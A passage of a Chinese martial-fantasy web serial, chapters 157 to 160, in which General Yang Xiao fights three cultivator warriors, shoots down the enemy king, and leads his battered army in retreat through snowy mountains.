杨笑于是立刻组织人马转向该处阻击,哪知杨笑刚赶到那边敌人竟然就撤了回去。 见此情况杨笑立刻大感不妙。 这一回究竟杨笑又遇到了什么样的情况?欲知后事如何,且听下回分解! 第一百五十七 尔虞我诈 上一回说到杨笑在乱战之中率军驰援,怎料刚一赶到战场,敌人便立刻退去。杨笑“啊呀!”一声大呼不妙,知道这是中了敌人的声东击西之计。 就在此时,于杨笑所在之处相反的方向发出了敌袭求援的信号。 杨笑立刻带领人马驰援而去。 在这个方向,山下的狄戎族人处于下风口,弓箭受风的影响射程大为缩短,有些够不到山上,因此,从这个方向发起的进攻要少的多。 敌人将把众将士围困在这里耗了整整三天,三天来将士们难有片刻休息,几乎被耗光了所有的精力。就在这时,敌人却在防守最薄弱的地方发起了最猛烈的攻击,情况万分危机。 好一个车轮战之后的声东击西! 这一次敌人的进攻与先前不同,是以大批的戴甲骑兵打头阵。敌人迅疾而来,以极短的时间便冲到了阵前。等杨笑带人赶到的时候,敌人的骑兵已经冲破了那道仅有的,以碎石块垒成的,简易工事,与众将士混战在一起了。 杨笑见状,立即提枪催马向敌军冲杀过去。 好一个杨笑,将一杆点钢铁枪直舞的车轮一般,在敌军阵中左冲右杀,如入无人之境,转眼就将二三十人挑落马下。敌军阵形一时间大乱,众将士跟在杨笑身后一阵拼杀,很快就逆转了战场上的形势。 就在此时,从敌军阵中冲出一人,大喝一声道:“小子,休要猖狂,看我来斗你!” 那人喝罢便催马杀来。 杨笑闻声,转头定睛一瞧,只见来者是一个短须黑面的精壮汉子。 那汉子身上并无片甲,只穿一身灰布短打,蹬一双草鞋,手里挥舞一根乌黑短棍。 那短棍齐眉长短,通体乌黑发亮,似是精铁铸成。 那灰衣汉子将手中铁棍挽一个棍花向杨笑劈头打来。 杨笑喝一声:“看枪!”催马迎上前去。 两匹战马擦身而过间,二人枪棍相交“叮当”作响,已是数记交锋。随后纷纷挽住胯下坐骑,调转马头再次冲向对方。 几个回合过后,二人便绞在一起杀作一团。 两个人边战边走,直杀的难解难分,身下的坐骑也是不停的踢踏嘶咬对方的坐骑。 二人在马上大战数百回合后已然转过了小半座山坡。这时杨笑抓住对方的一个破绽,一枪刺向灰衣汉子当胸,那汉子一惊,连忙闪身躲避。杨笑一枪刺出枪枪紧跟,那汉子连躲三枪,此时整个身子几乎全都歪向了胯下战马的另一侧。杨笑见数枪不中,趁势枪锋一转向其胯下坐骑刺去。 这一枪正刺在那战马的前腿上,此时那条马腿正是奔跑受力之时,被杨笑一枪刺中后立时整条腿一软载倒下去,连带着那马上的汉子也摔了个灰头土脸。 就在杨笑趁那汉子尚未起身,想要再上前补上一枪的时候,忽觉头顶一暗,且有破风之声传来,杨笑紧忙转身举枪相迎。 杨笑刚把手中长抢举过头顶,就觉一股巨力顺着枪身猛地传递而来。 杨笑翻身落马,而那偷袭之人也在空中倒翻两个跟斗后,落在了灰衣汉子的身旁。 杨笑落马后立刻顺势在地上一滚,以一个乌龙绞柱之式旋身而起,随即横枪于前。待他定晴向对面看去时,才看清那偷袭之人原来是一个十分魁梧的黄脸大汉。 那黄脸大汉的身形甚是高大魁梧,他身边灰衣汉子的个头以是不 小了,而那黄脸大汉竟是比他还要高上一头还多。 在这寒风凛冽,大雪纷飞的天气里,那黄脸大汉竟是赤着两条臂膊,袒露的胸口上还纹着一个威风凛凛,杀气腾腾的虎头。一身气机也是丝毫不加掩饰的外发放而出,端的是浑厚无比。一看便知一身横练功夫甚是了得。 “阁下如此修为,竟还背后偷袭,不觉得有些卑鄙无耻吗?”杨笑说道。 那黄脸大汉大笑一声:“什么卑鄙不卑鄙的,那都是小孩子才会讲的东西。只要能杀了你,本大爷想怎么打就怎么打。” “阁下觉得就凭你们二人就能留下杨某?”杨笑将目光在二人身上流转几下后说道。 “谁说只有我们两个的?”黄脸大汉说着拿下巴一点:“喏。” 杨笑侧目看去,只见另一侧,一个白袍青年从人群中走了出来。 那青年束发簪缨,面目清奇,手中提着一口青钢宝剑。 当杨笑见到此人时立刻目光一凝。 眼前之人,当初虽说是以黑布蒙面,但杨笑还是一眼便认出了他:当年在台阶山外袭击西梁王的领头之人。 只见杨笑冷笑一声道:“我当是谁,原来是你这手下败将。” 那白袍青年倒提宝剑,向杨笑抱拳一礼道:“杨将军武功高强,当日一战令在下印象深刻,今日在此愿再次领教将军的高招。” 那白袍青年说着也将一身气机展露出来。 杨笑光一凝,这白袍青年竟也是修为不浅的样子。 杨笑目光再次将三人扫视一遍。这三人中,以那黄脸汉子的气机最盛,看样子只比梁赞弱上一丝,那灰衣汉相比起来就要弱上不少,而那白袍青年在三人中则是最弱,其展露出来的气机只有黄脸大汉一半的样子。 杨笑知道梁赞是练气九层,以此看来那黄脸大汉应当也是练气九层,那灰衣汉子最多与自己修为相当,而那百袍青年看样子应该是练气四五层的样子。 杨笑对修行之事了解不多,更不知道该如何从气机上来分辨他人的修为层次,只能这样推测个大概 杨笑紧了紧手里的长枪,知道今天免不了要有一场恶仗,一身气机也尽数鼓荡起来。 那黄脸大汉见到杨笑的动作后轻笑道:“怎么,聊了这么多,这是换气换够了?“ 杨笑冷哼道:“阁下肯同杨某聊这么多不也是在等同伴换气吗?” 杨笑这句话说的是那灰衣汉子。 方才其同杨笑一番打斗,气息已然有些接续不上,这才被杨笑抓住破绽打落马下。若不是这黄脸大汉从背后偷袭,杨笑有足够的自信,十招之内必取其性命。 被杨笑说中心事,那黄脸大汉却是毫不在意:“不错,我是在等他换气,不过我更想看看在我们三人联手之下,你还能翻起多大的浪来。“ 这时,在旁边一直一言未发的灰衣汉子徐徐地吐出一口气来,脸上也似有一道红光隐隐闪烁而过。 那灰衣汉子吐出一口气后说道:“与他废这些话做甚,直接打杀了事。” 灰衣汉子方才被杨笑打落马下,样子很是狼狈,觉得自己在同伴面前丢了脸面,正在心里憋着一口气,说着便提棍上前喝道:“小子看招!” 那白袍青年也紧随其后大喝一声提剑向杨笑刺去。 而那黄脸大汉则是只凭一双肉掌加入了战团。 灰衣汉子一步当先,挥动手中铁棍就要朝杨笑当头打来。杨笑则是不闪不避,一个闪身跨步上前,在灰衣汉子将棍子抡开之前便一枪刺出直取其当胸。 那灰衣汉子虽然来势汹汹,但他却吃亏在兵器的长短上。古人云:一寸长,一寸强。你这一棍自是凶狠,但也要打得到我才行,我一枪刺出,你若不躲不退,在你打到我之前就先被我刺中了胸口。 灰衣汉子当然不肯上来就先吃这么一个大亏,见势不妙只得闪身后退。 此时,那白袍青年已是紧随而来,只见他一剑点出直取杨笑咽喉。杨笑连忙歪头侧身躲避这阴狠毒辣的一剑,同时回枪上撩,枪锋直取白袍青年腋下。 这一招白袍青年想用一招蜻蜓点水去刺杨笑的喉咙,而杨笑则是顺势将剑法中的追形截脉用在了这里。只不过剑法中的追形截脉截的是手臂,而杨笑则是利用长枪的长度优势将这一招做了一点改变,截的不是其手臂,而是腋下的胁肋。 你有剑法狠毒,我自枪法绝妙。先不说这一剑能不能刺中杨笑,就算能刺中,在杨笑闪身躲避之下,这一剑最多也只是刺中他的肩膀。退一步说,就算这一剑刺中了杨笑,但他有甲胃护身,对方能不能刺破他的甲胄都还不一定呢。再退一步说,就算刺被了杨笑的铠甲,最多也就是一点皮肉伤而已,而在这一切之前,杨笑就已先将对方刺了个透心凉了。 不好意思,又是一个一寸长,一寸强。 那白袍青年自是不肯就此以命换伤,连忙侧身撩剑挡下了这一枪,同时飞身后退。 杨笑则顺着其拨开枪尖的劲道将手中长枪抡出一片残影,向另一侧随后赶来的黄脸大汉打去。 黄脸大汉以一双肉掌迎向杨笑的长枪,枪身打在其双掌之上时竟发出一声金铁交击之声,好似打在一双铁掌之上一般。 黄脸大汉被这一枪打的蹬蹬后退两步,双掌之上传来阵阵疼痛之感 那黄脸大汉垂眼看了看双手,似是有些难以置信,这还是他头一次被修为境界低于自己的人给逼的后退 “好好好!”黄脸大汉连说三个好字:“想不道你区区练气七层竟有这般力道,只可惜在我练气九层的面前还是有些不够看。小子,拿命来!” 那黄脸大汉说完便攥掌为拳再次欺身而上。 杨笑这边,手中的长枪一阵乱颤,将他的手臂都有些震麻了。听到黄脸大汉的话后,在心里暗道一声“果然”。 见对方再次攻来,也握紧了手里的长枪与对方再次战在了一起。 你自拳掌刚猛,我自身法巧妙;你自棍棒生风,我自枪法精绝;你自剑光森然,我自枪芒凛冽。 四个人一时间斗的不可开交。 杨笑凭借着巧妙的身法和出奇不意的招式,虽说有些落于下风,但一时间那三人却也不能把他怎么样。 杨笑愈斗愈勇,对面三人却是越打越觉得糟心不已。 那黄脸大汉倒是武力勇猛,奈何杨笑不与其纠缠,往往与他对上一两记便立刻凭借身法将他甩开,绝不同他陷入缠斗之中。这让那黄脸大汉直觉得自己就像是在水里徒手抓一条滑不溜的泥鳅似的,空有这一身力气却怎么也使不上。 那灰衣汉子打的就更是憋屈。他拼尽了全力也没能在杨笑的手里占到什么便宜,反倒是自己被杨笑在后门上来了两下了。 幸亏对方当时用的是枪尾,也幸亏那枪尾上没有枪攥,否则的话,自己的屁股这会儿说不定已经是血流如注了。 气的那灰衣汉子跳脚直骂:“你这王八羔子,怎么尽使这些野路子!” 至于那白袍青年则是打的胆战心惊。三人之中就属自己的修为最低,那杨笑似是瞅准了这一点,把自己当作此战的突破口,屡屡将那二人甩开,找上自己就是一阵穷追猛打。幸好每次同杨笑硬拼上几记之后,两个同伴总能在自己快要支撑不住的时候及时赶到,这时候自己便赶紧跳出战圈,趁机缓一缓。 就这样,四个人在山坡上打来斗去,周围时不时的便会有双方的士卒或主动或被迫的卷入战团。那些普通的士卒哪是能掺和进这等争斗的?一旦被卷入战团,没有一个能幸免的,全都惨死在乱战之中。若是狄戎族一方的人,别说杨笑手下不会留情,就是那三个家伙也从来没有手软过,凡是让他们觉得碍眼挡道的,全都被当场打杀。可死的要是大周的士卒,自己的袍泽,杨笑则难免要心疼不己。 虽然自己以经尽量把战团往敌人的一侧引了,但难免还是有袍泽时不时的被卷进来,然后便横死当场。 这时,杨笑与对面三人拉开些距离后便开口说道:“三位,这里人多杂乱,你我难免有些放不开手脚,不如另寻一处开阔之地,好痛痛快快的打上场,如何?“ 那黄脸大汉闻言道:“好!本大爷也觉得这些蝼蚁们碍眼的很,就依你所言。” 那灰衣汉子挽了个棍花,将手中铁棍背在身后也说道:“我也觉得这此些家伙们像苍蝇一样烦人,不如咱们就到山顶一战。” 那白袍青年则是抿了抿嘴没有说话。 杨笑瞥了一眼灰衣汉子所指的方向,那里确实已经没什么人了。 “好,咱们犹到山顶一战。” 说完,四个人便齐齐一跃,全都一起腾空而起。 黄脸大汉三人一跃便己到了山顶之上,哪知道杨笑却只是轻轻一跳,刚刚离地不过三尺就又落回了地面,下一刻杨笑便奋力一跃向山下跳去。 等三人发现上当之后,那黄脸大汉气的大骂道:“小子,你竟敢跟爷爷使诈!” 这一边,杨笑一跃之下便已邻近山脚。 落地之后劈手就从一名敌军士卒的手中夺过了弓箭,随后再次一跃而起。 杨笑跃至半空,张弓如满月,“嗖!嗖!嗖!”连射三箭。 三支箭划破空气,带着呼啸之声直奔混邪王而去。 第一百五十八回 擒贼擒王 上一回说到杨笑摆脱对手向混邪王连射三箭。 那三支箭矢如虹般的气势当真叫一个“弓如霹雳弦惊”! 混邪王见势不妙连忙躲避。 只可惜事发突然,他躲过了第一支箭却没能躲过另外两支箭,当场便被射落马。 另一边,山顶上接替杨笑指挥战斗的王燕兴时刻都在关注着战场上的局势,眼见混邪王被杨笑射落马下,久经沙场的王燕兴哪能不知这等绝佳的战机绝记不可错过。 只见他立刻将手中长抢一举,使出全身的力气大喊道:“敌方主帅已被杨将军射落马下,众将听令,目标混邪王,随我杀将过去!” 王燕兴喊罢,双腿一夹身下马腹,当先向山下冲杀而去。 “杀……!” 一时间鼓声擂鸣,战旗摇动,喊杀之声响彻旷野,将士们全都不顾一切的向混邪王所在之处杀去。 “大王……!” “大王!保护大王……!” “快,保护大王……!” 随着混邪王中箭落马,狄戎族的阵营中立刻传出一声声惊呼。 很快,狄戎族的阵容便陷入了混乱之中,王燕兴更是率军一度杀到了距离混邪王不过数丈之处。幸亏有属下拼命救护,这才让混邪王侥幸逃了一命。 经王燕兴率军这一阵冲杀,狄戎族大军彻底乱成一团,很快就出现了溃逃之迹。 这一边,杨笑三箭过后,眼见混邪王被射落马下,本欲上前将其一举擒住,怎料黄脸大汉等三人已然杀到。 那黄脸大汉当先一个杀到杨笑面前,人还在半空中便一掌向杨笑头顶劈来。 杨笑心知对方修为高强不能力敌,当即便闪身躲避,在半空中一个鹞子翻身,把手里最后一根箭失向那大汉射了出去。 黄脸大汉伸手拨开那根直冲自己面门而来的箭失,再放眼看时,发现杨笑已经混入了乱军之中。 杨笑方一落地便有一名敌军士卒手持长枪向他刺了过来,杨笑伸手抓住那杆长枪猛的一拔,长枪便从那名敌军的手中脱手而出。 那敌军士卒只觉双手一阵火辣辣的疼痛之感传来,一双手掌之上已是鲜血淋漓。 原来是两只手掌上的肉皮被这一拔之力给捋了下来。 杨笑将长枪夺在手中,顺势放倒了两个靠近自己的敌人,这时那名灰衣汉子也杀到了身边。 现在,杨笑手里这杆普通的长枪在灰衣汉子的眼里根本不值一提,于是他更加放开手脚攻向扬笑,将一根铁棍挥舞出片片残影,一招一式具是大开大合,毫无保留。 杨笑虽说在兵器上落了下乘,却仍是对其丝毫不让,一次次用巧劲化解对方的杀招,更是数次刺中对方的身体。而那灰衣汉子仗着有真元护体,跟本无惧扬笑手中的长枪加身,愣是拼着硬抗数枪也誓要重伤杨笑。 虽说杨笑数次刺中对方,无奈手里的这杆长枪实在是有些劣质了一点,最多也只能给对方造成一点皮外伤,对此杨笑也只能叹息一声。 数招之后,那灰衣汉子硬接杨笑一枪,竟是借机抓住了刺在自己肩头的长枪,随即一棍向杨笑点去。 杨笑见那灰衣汉子抓向自己的长枪,正想要收枪之时已然来不及了,又见那汉子一棍点来,当即心下一横也伸手向那根铁棍抓了过去。 于是两人一下子都抓住了对方的兵器,当场较起劲来。 就在这时,那白袍青年也提剑赶了过来,见二人较在一起,立刻提剑向杨笑刺来。杨笑连忙躲避,同时也尽量牵引着手里的铁棍去抵挡白袍青年的长剑。 那灰衣汉子时此时已是心惊不已,心道:“这小子与我修为相当,怎地有这般大的气力,我手里的兵器都有些把持不住了。” 就在这时,那白袍青年一剑砍中了二人手中长枪,枪杆从当间被砍成了两截。杨笑便将手里的半截枪杆当作短棍去迎那白袍青年的长剑。与此同时,那灰衣汉子也把手里的半截长抢当作短予不断刺向扬笑。三个人就这样缠斗在一起。 数招过后,杨笑挑开白袍青年的长剑,一棍打在他的脸颊上,将其打的一头栽倒在地。 那白袍青年也是个狠角色,倒地之后立刻就是一个鲤鱼打挺,又站了起来。他甩了甩有些晕乎的脑袋后,就再次提剑杀向了杨笑。 此时的杨笑两面受敌,还要腾出一只手来控制那灰衣汉子的铁棍。他看看手里已经打烂了一头的半截短棍,再看看那重新站起身后满脸凶戾之色更甚,红着一双眼睛再次杀过来的白袍青年,干脆丢了手里的两根棍子飞身闪退。 那灰衣汉子从山顶打到山脚,打了半天早已打的心烦气躁,气喘吁吁,硬拼着身中数枪才好不容易占了一点上风。虽说都是些无足轻重的皮外伤,但那也算是三人当中唯一一个挂了彩的,面子上总归是不好看的。这个节骨眼上哪能让你小子就这么跑了?于是他强提一口气一跃而起,以一个力劈华山之势向杨笑当头打去。 说时迟,那时快。就在此时,杨豹带着一支人马杀了过来。眼见此景,杨豹立时大喝道:“笑侄子,接枪!” 说着就把半道上捡到的那杆杨笑的铁枪抛了过去。 杨笑身在半空伸手接过长枪,顺势扭转腰身,大喝一声:“着!”一记回马枪便刺了出去。 修行之人,一口真元护体便可凡铁难伤。话虽是这么说,但也要看那口凡铁是拿在谁的手中。修为高强之人,一草一木皆为神兵,飞花摘叶间便可伤人于无形。 再说那灰衣汉子,其所修功法似是不甚高明,若论气息绵长,显然是比不过杨笑与那黄脸大汗的。打到现在早已是气息不稳,加上他又是强提一口气向杨笑追来,又加上他一时心急,没有料到杨笑竞能在身处半空,无处借力的情况下打出这样一击。因此上,一时不慎,气机没能接续上来,被杨笑一枪洞穿了胸膛。也幸亏他躲的及时,避开了心脉要害,否则的话,真就要饮恨当场了。 灰衣汉子摔在地上,一手拄着铁棍,一手捂着受伤的胸口,一连咳出好几口血来,显然伤的不轻。 等他缓过一口气再抬头时,就看见扬笑提着长枪又杀了过来,吓得他急忙连滚带爬的不住躲避。幸好那黄脸这大汉和白袍青年及时赶了过来才得以逃脱。 那黄脸大汉猛然间从旁窜出,一掌拍向杨笑。杨笑躲闪不及被其拍翻在地。 只见杨笑就地一滚卸掉一部分掌力,随即顺势站起。他耸了耸被对方拍的生疼的肩膀后,挺起手里长枪又与那黄脸大汉战在一起。 那白袍青年则站在灰衣汉子身旁暂时为其护法一二。 杨笑虽不是那黄脸大汉的对手,却也不是全天还手之力,两人转眼间斗了几十个回合。其间杨笑身中数掌,虽说外有铁甲遮身内有宝甲护体,但每次中招后那份疼痛却是实打实的要靠自身来承受,一时间被打的也是有几分气血翻涌。同时,杨笑也凭着自己的修为和身手给那黄脸大汉也来了两下。 只不过那黄脸大汉的护体真元浑厚,就算杨笑的铁枪锋利,至多也不过是给对方带来一点皮外伤而已。 另一边,那灰衣汉子很快也平复了气息,暂时稳住了伤势。他将气息归入丹田,轻吐一口气后说道:“这小子修的什么功法,气息怎会如此锦长?” 那白袍青年在一旁只是皱眉摇头。 “好了,我已经不碍事了,他去帮忙吧,早点解决了这小子早点完事。” 灰衣汉子见白袍青年沉默不语便一摆手说道。 白袍青年看了灰衣汉子一眼后便提剑向杨笑杀去。 有了白袍青年的加入,杨笑的压力立刻增加了不力。本欲再像先前那样甩掉黄脸汉子与对方展开游斗,奈何那黄脸大汉有了先前的经验教训又怎会轻意让杨笑甩开自己。 只见他死死的缠住杨笑,同白袍青年一起将杨笑困在当间。二人频频打出杀招,打的杨笑几无还手之力,一时间险象环生。 又斗几个回合后,那黄脸大汉见杨笑每每中招之时身上便有五彩毫光闪现,知道他有宝物护身,便开口道:“小子,能有宝物护身,看来你小子不是一般人。只可惜,不管你是什么身份,今天本大爷都要取你的性命。”说罢大喝一声:“小子,乖乖拿命来吧!” 说着便扬起双掌向杨笑发起了更加凶猛的进攻。 三人再战数个回合,那黄脸大汉抓住机会近身一记肘击打在杨笑的腮帮子上,把杨笑打的耳内嗡鸣,双眼直冒金星。 杨笑踉跄几步险些摔倒。还不等他站稳身形,便被那黄脸大汉赶上来,以一个黑虎掏心之式,将一双铁拳齐齐打在杨笑的胸口之上。 杨笑被这一拳打的飞出去一两丈远,摔在地上后又在地面上擦出老远的一段距离。 “小子,你也就是壳硬了一点,否则的话,凭本大爷只差一步便可筑基的修为,刚刚那一拳就足以送你去见阎王了,乖乖束手就擒吧!” 黄脸大汉一边说着一边大步向杨笑走来。 虽然结结实实的挨了这一拳,但杨笑有宝甲护身,除了被打的胸口生疼,气息有些不畅外之外,却是没受什么伤。 见那黄脸大汉大步走上前来,杨笑连忙从地上爬起来。哪知刚一起身,尚未站稳便被人从身后给死死的抱住。 杨笑低头一看,原来是那灰衣汉子用手里的铁棍从后面死死的箍住了自己。 双臂被困,杨笑只得用双腿来抵挡黄脸大汉的攻击。 另一边,白袍青年刚要上前相助,却被杨豹带着十几个士卒给拦了下来。 那白袍青年跟本不将这些人放在眼里,挥动手中长剑,毫不客气的便要解决掉这些烦人的蝼蚁。 这些普通的士卒又哪里会是修行之人的对手,在人家手上跟本连一招都走不完就被结果了性命。 也就杨豹凭着一身蛮力,外加还算不错的武艺,能硬抗个两三剑。 很快,白袍青年就解决了眼前的一众蝼蚁,刚要转身去寻杨笑,不想却被人从背后抱住了腰身。 白袍青年扭头一看,原来是刚刚那个领头的蝼蚁。 正是杨豹。 白袍青年只一个拧身便将杨豹甩了出去,在地上摔了个四脚朝天。 不过是只强壮些的蝼蚁罢了,白袍青年同样不会放在眼里,只是他急着去杀杨笑,懒得理他而已。 哪知道白袍青年刚一转身没走几步,就发现自己的一条腿又被人给抱住了。 他低头一看,又是那个讨厌的家伙。 只是这一次杨豹拼了命的死死抱住白袍青年的腿,令对方抽了几下也没能抽脱。于此同时他大声喊叫道:“笑侄子,快走!快走啊!” 那白抱青年见使了两三下劲儿也没能把腿拔出来,不由得恼怒道:“你这蝼蚁,我懒得理你,你却几次主动送上门来,即然这样,那你就去死吧!” 白袍青年嘴里说着,手上的动作也是不慢。只见他倒提长剑狠狠地向杨豹的后心刺下去。 杨豹见状急忙就地打了个滚儿,堪堪地躲过了这一剑。 白袍青年心里着急,也不管有没有扎中,一剑刺出之后拔剑就走,却不料再次被扬豹抱住了另一条腿。 “快走啊!”杨豹再次喊道。 这让那白袍青年一下子火冒三丈,一剑就向杨豹砍去。 这一回杨豹虽然同样极力躲避,却到底没能躲过去,被白袍青年一剑削掉了一条小腿。杨豹抱着断腿在地上咬牙惨叫,不住的打滚儿,幸亏被及时赶来的胞泽极力救护,这才保住了一条小命。 白袍青年一剑挥出之后,本想着再来一剑彻底了结了这个烦人的家伙,却被冲过来的周军挡住了。白袍青年懒得跟他们纠缠,于是也不管杨豹是死是活,转身便向杨笑奔去。 这一边,杨笑被困住双臂后只得靠双腿来苦苦支撑,哪里还有什么还手之力,很快就又中了几记拳掌。幸得有宝甲护身才不至于受伤。 那黄脸大汉却是越打越气,自己的双手都打疼了,对方却还是活翻乱跳的,半点受伤的样子也没有,不由得已动了几分真火。 “本大爷倒要看看,你这副龟壳到底有多厚。” 黄脸大汉怒道。 说罢便运起一身气机,大喝一声,用尽全力一掌拍向杨笑当胸。 这一掌确实威力不凡,连同杨笑背后的灰衣汉子都被一并拍飞了出去。 两个人双双落地,那灰衣汉子躺在地上一手捂着胸口又咳出两口血来。 “大爷的,还有我呢!” 灰衣汉子忍着伤痛抱怨道。 旁边的杨笑见那黄脸大汉又攥着一双拳头扑了过来,连忙一骨碌从地上爬了起来。 这时那白袍青年已抢先一步冲了过来。 杨笑躲过对方刺来的一剑后,脚尖一点,将掉在地上的铁枪挑了起来,一把接在手中。 摆脱了束缚的杨笑把身上的气机一震,与那白袍青年斗在一起。 黄脸大汉紧随其后而来。 就在他运起一双铁掌要向杨笑拍过去的时候,忽然有一骑白马冲出人群,马上之人手持长抢狠狠地扎向其面门。 这直冲而来一枪,来的甚是迅猛突然。情急之下那黄脸大汉也没敢硬接,而是伸手拨档的同时闪身躲避开。 “什么人!?” 黄脸大汉怒喝道。 那匹白色战马双蹄腾空嘶鸣一声,止住了去势。 黄脸汉子扭头看去,这才看清了来人。 究竟来者是敌是友,杨笑又是否能够顺利渡过此次危机,欲知后事如何,且听下回分解! 第一百五十九回 后会有期 上一回说到那黄脸大汉被突如其来的一枪逼退后,这才看清了对方的样貌。 那马上的是一员银袍银盔的将领,生的浓眉大眼,从面相上看顶多也就三十出头的样子。 “阁下面生的很呐!可否报上姓名?” 黄脸大汉问道。 “没关系,一回生,二回熟。” 看样子银袍将领并不想告诉对方自己的姓名。 “阁下当真要趟这浑水?” 黄脸汉子又问。 “哼!是你们这帮家伙先招惹我的。” 银袍将领回道。 黄脸汉子有些不想不明白,自己什么时候就招惹这家伙了? “阁下何门何派?咱们之间是不是有什么误会?” 黄脸汉子再问。 “没什么误会,多说无益,你我还是手上见真章吧。” 那白袍将领显然不想多说,把手里的长枪一举,身上的气机也尽数鼓荡了起来。 黄脸大汉眯眼望去。 那白袍将领的气息至少也有练气期八层的样子,看来大意不得。 这时,灰衣汉子和白袍青年也摆脱了杨笑,跳到了黄脸大汉的身旁。 那灰衣汉子捂着胸口问道:“怎么办?” 现在对方两人的修为具是不弱,自己一方的一名同伴还受了不轻的伤,对方任意一人缠住自己一时半刻并不是问题,而自己的两个同伴多半不是另一人的对手,到时候二打一,自己怕是得不了什么便宜。 黄脸大汉思索一下后向身旁二人看一眼。 灰衣汉子默不作声。 白袍青年咬了咬牙,最后说道:“也只能这样了。” 黄脸大汉于是抱拳道:“今天的事到此为止。二位,就此别过。” 说完,三人便闪身离去。 ……。 没了黄脸大汉三人的阻挡,杨笑率领众将士很快便杀出了重重包围,甚至一度追着溃退的敌军反杀了一波。只可惜混邪王在一众部下的保护下逃的有点快,没能抓住。 ……。 红日西沉,晚霞遍天。 一座小山丘上,有一人正坐在篝火旁伸着双手烤火取暖。夕阳下,金色的阳光和红彤彤的火焰将他的身躯映照的一半金黄,一半嫣红。 这时,有一人抱着一捆干柴来到火堆旁。那个正在烤火的人抬头看了那抱柴的人一眼,然后伸手示意那人坐下来一起烤火取暖。那抱柴的人也不客气,把怀里的柴禾放在地上,然后一屁股就生在了那人的对面。 “没想到在我这小小的游骑军中还有兄台这样的高手。” 说话的正是杨笑。 “道友说笑了,一点微末道行,不值一提。” 来人正是之前帮了杨笑大忙的那名白袍将领。 一个称兄台,一个称道友,拉拢和疏远之意在无形之中便体现了出了。 双方心照不宣。 见对方以道友相称似是有意疏远,杨笑便也改了称呼:“道友修为不凡却不显于世,难不成是苦修隐居之士?” 那人点头道:“道友所言不错,我一向不问世事。” 杨笑道:“道友一心苦修,心性过人,在下佩服。” 那人呵呵笑道:“正所谓小隐隐于野,大隐隐于朝。道友投身朝堂,身处军旅,为天下百姓奔波,才是真正令人钦佩的隐士高人。像我这样的,顶多算一个中隐隐于市,与道友相比不值一提。” 杨笑问道:“道友既然一心避世,如今为何又加入了我这游骑军呢? 那人干笑一声回道:“还不是那帮家伙路过的时候,一把火烧了我的窝蓬,我也是一时气不过,这才跟在道友身后给他们找点麻烦。” “还不知道友姓名?”说了半天杨笑才想起来还没问过对方的姓名,于是他连忙问道。那人把手一摆:“嗨!虚名代号而已,道友不必在意。” “道友即已入世,不如由我引荐,为道友在朝中谋一场富贵如何?” 杨笑还是想要再拉拢对方一下,必经这样的战力可不多。 那人往火里加了两根干柴道:“多谢道友的好意,要不是那帮家伙们招诺惹我,我也不会来趟这道浑水,所以……道友不必费心了。” 杨笑见他似是真心无意入世,便也不再多说,而是转头望向草原的尽头处。 在那里,太阳已经贴近了地平线,在那轮火红的夕阳底下,有一片同样火红的影子跳了出来,就好像是另一个太阳把一半的身子藏在了地平线以下,两个太阳一上一下,显的神奇而美丽。 杨笑望着美丽的夕阳说道:“这场大雪来的快去的也快,说下就下,说散就散,当真是少见。” 那人却说道:“传闻那些修为通天的大能,举手投足间便可呼风唤雨,移山填海,也不知道是不是真的。” 杨笑诧异道:“道友的意思是……。” 那人生怕杨笑会错意似的,连连摆手道:“道友可不要乱想,我也只是听说而已,那等大能当真是见也没有见过。” 二人正聊到这里便见一骑快马飞奔至二人身边。那马上的士卒翻身下马后跪地说道:“禀将军,各路人马具已到齐,王将军正在清点统计。” “好。” 杨笑站起身来刚要说什么,就见那人也同样起身抱拳道:“此间事了,我也该离开了。道友保重。” 杨笑也知道对方不是自己三言两语能留住的,便抱拳回礼道:“道友一路顺风。后会有期!” “后会有旗期!” 杨笑目送那人渐行渐远后也翻身上马:“把各处警戒的岗哨全都撤回来吧,我们也该离开了。” “是!”那士卒应一声后上马离去。 杨笑也策马转下山坡,向后面的一道山沟中而去。 天寒地冻,大雪封山。追兵不断,杀机四伏。杨笑此去能否带领众人冲破重重险阻,顺利回到大周境内?欲知后事如何,且听下回分解。 第一百六十回 血泪归途 山谷中,王燕兴正向杨笑汇报着战后的统计结果:“……综上,截止目前,我军总共突围出来八千余人,其中伤者过半,尚能战者只有堪堪两三千人,可谓伤亡惨重,好在目前战马还是充足的……。” 杨笑听到这里叹了口气道:“唉!怨我,是我太贪心了,以至于让众将士们受此惨痛的损失。” 王燕兴劝慰道:“将军不必自责,我等出征前便已将生死置之度外。更何况将军以微末兵力便将敌军后方搅的天翻地覆,不但虏获敌人各部重要头目数百人,毁掉了敌人过半的粮草物资,更是前前后后拖住了敌人数十万兵力,此等壮举简直前无古人。这么多天过去了,相信很快就会有好消息从陛下那边传过来的。” 杨笑深吸一口气道:“但愿如此吧。” “将军,眼下更重要的是……我们的口粮不多了。”王燕兴不无担忧道。 杨笑转身望着远处的大山说道:“进山。这深山之中总归能找到一些东西果腹的。” 逶迤的群山在夜幕中勾勒出一条条起伏不定的线条。惨淡的月光将漫山的积雪照的更加惨白无比。 饥寒交迫的将士们在夜幕中顶着寒风坚难的赶着路,膝盖深的积雪在人脚和马蹄的踩踏下发出一阵阵“咯吱,咯吱”的声音。 杨豹从担架上悠悠的醒了过来。 他呻吟了一声虚弱的自言自语道:“老子……这是……还活着吗?” 旁边一名负责照看他的士卒听到他的声音后连忙凑过来高兴道:“杨头儿…杨头儿,你醒了?你还活着。” 杨豹扭头看了看那说话的士卒,见是自己的部下便问道:“将军呢?” “杨将军没事儿…。” “我们冲出来了……。” “我们都还活着。” “……。” 听到杨豹的动静后周围的人都围了过来,七嘴八舌的说着。 看到周围一张张熟悉的脸孔,杨豹的脸上终于挤出了一丝笑容。他坚难的抬头朝下半身看去,虽然隔着厚厚的毛毡,但他仍然能感觉到双腿的情况。 “能救我笑侄子一回,我这条腿……值了!“”杨豹说道 看得出来,他的心里还是很高兴的。 夜深的时候,队伍才在一条山谷里停了下来,大家纷纷找了背风的地方挤在一起,生起篝火,好挨过这冰冷的冬夜。 天亮后杨笑来看望了杨豹,叔侄二人浅聊了几句,杨笑叮嘱杨豹安心养伤。 没一会儿,王燕兴过来对杨笑说道:“将军,咱们的口粮 马上就要吃完了,战马也已经杀了一些,要是再杀的话…恐怕万一遇到点什么情况,马匹就不太够用了。” 杨笑点头道:“那就把将士们都调动起来搜山吧。” 一开始众将士们只是把沿途碰见的野物抓来吃了,相对于几千人的消耗,这点东西实在是少的可怜,大家主要还是靠着自身携带的一点粮食,还有杀一些状态不太好的战马来果腹。几天下来,手里头能吃的东西早已经见底儿了。 